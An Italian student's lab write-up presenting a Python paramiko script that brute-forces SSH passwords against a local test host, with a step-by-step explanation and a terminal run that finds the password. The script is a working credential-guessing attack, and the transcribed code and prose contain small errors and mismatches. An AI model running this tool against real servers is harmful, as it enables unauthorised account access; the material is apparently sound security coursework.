

[illegible]

## PT.2 SCRITTURA DI UN PROGRAMMA CHE PERMETTE UN ATTACCO BRUTE-FORCE

Abbiamo creato un tool che prova ad accedere ad un server SSH provando una lista di password. Avevamo la possibilità di scegliere se farlo usando Python o C. Ho scelto di farlo in Python.

```
CONSEGNA_W8D4 x
progetti > CONSEGNA_W8D4 > ...
1  import socket
2  import time
3  import paramiko
4  import os
5
6  def ssh_bruteforce(port, host, username, password_list):
7      client = paramiko.SSHClient()
8      client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
9
10     for password in password_list:
11         try:
12             print(f"Prova la password: {username}:{password.strip()}")
13             client.connect(hostname=host, port=port, username=username, password=password.strip(), timeout=2)
14             print(f>Password trovata: {password.strip()}")
15             return password.strip()
16         except (paramiko.SSHException, socket.error) as e:
17             print(f"Errore: {e}. Riprova...")
18             time.sleep(1)
19             continue
20     print("Password non trovata nella lista.")
21     return None
22
23 if __name__ == "__main__":
24     host = "127.0.0.1"
25     port = 22
26     username = "FRANCESCO"
27
28     if os.path.exists("password.txt"):
29         with open("password.txt", "r") as file:
30             password_list = [line.strip() for line in file]
31     else:
32         print("File 'password.txt' non trovato.")
33         password_list = ["123456", "password", "admin", "kali", "letmein", "welcome"]
34
35     found = ssh_bruteforce(port, host, username, password_list)
36     if found:
37         print(f>Password trovata: {username}:{found}")
38     else:
39         print("Credenziali non trovate nella lista.")
40
```

1) Ho iniziato con l'importare le varie librerie:

- Socket: usata per intercettare errori di rete
- Time: usato per misurare la durata dell'attacco
- Paramiko: utile per gestire le connessioni SSH
- Os: usato per verificare se una cartella o un file esiste

2) Definiamo la funzione principale che prova a connettersi tramite SSH usando una lista di password

3) Configurazione del client SSH. Creando un oggetto "SSHClient" e gli diamo il comando di accettare chiave sconosciute

4) Andiamo a creare un loop sulle password

5) Tentativi di connessioni. Provando a farlo connettere con le varie password e restituendoci i vari tentativi

6) Gestione degli errori.

- Ogni volta che la password è errata ci restituisce il messaggio "password errata"
- Per eventuali errori di rete ci restituisce l'errore e interrompe il processo

- 7) Creazione del blocco principale "if \_\_name\_\_ == "\_\_main\_\_" ci assicura che il codice venga eseguito solo se il file è avviato direttamente
- 8) Parametri di connessione. Specifichiamo l'indirizzo IP; la porta SSH e l'username da testare
- 9) Lettura del file delle password. Diamo il comando che fa aprire il file "password.txt" e creiamo una lista di password
- 10) Esecuzione del brute-force
- 11) Stampa del risultato. Dove o vengono restituite le credenziali nel caso fossero corrette o altrimenti viene comunicato il fallimento.

Con l'ultimo screen vado a mostrare come si comporta il codice in caso di utilizzo.

```
PROBLEMS  OUTPUT  DEBUG CONSOLE  TERMINAL  PORTS  COMMENTS

/usr/bin/python /home/kali/progetti/CONSEGNA_W8D4
(kali@kali)-[~]
$ /usr/bin/python /home/kali/progetti/CONSEGNA_W8D4
File 'password.txt' non trovato.
Prova la password: FRANCESCO:123456
Errore: Authentication failed.. Riprova...
Prova la password: FRANCESCO:password
Errore: Authentication failed.. Riprova...
Prova la password: FRANCESCO:admin
Errore: Authentication failed.. Riprova...
Prova la password: FRANCESCO:kali
Password trovata: kali
Password trovata: FRANCESCO:kali

(kali@kali)-[~]
$
```